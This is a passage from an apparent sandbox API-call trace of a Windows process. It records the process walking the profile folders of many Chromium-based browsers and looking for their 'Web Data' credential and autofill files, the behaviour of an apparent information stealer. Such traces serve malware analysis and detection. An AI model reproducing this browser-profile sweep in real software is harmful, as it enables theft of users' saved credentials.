cAlternateFileName="SAFEBR~4")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0061.655] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0061.655] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.655] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0061.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.655] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.655] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.655] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0061.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.655] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.656] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.656] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0061.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.656] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.685] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.685] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0061.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.685] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.685] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.685] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0061.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.686] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0061.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.686] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0061.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.686] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0061.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.686] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0061.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.687] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.687] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0061.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.687] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.687] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0061.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.688] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.688] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.688] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0061.688] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.689] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.689] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0061.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.689] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.689] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS 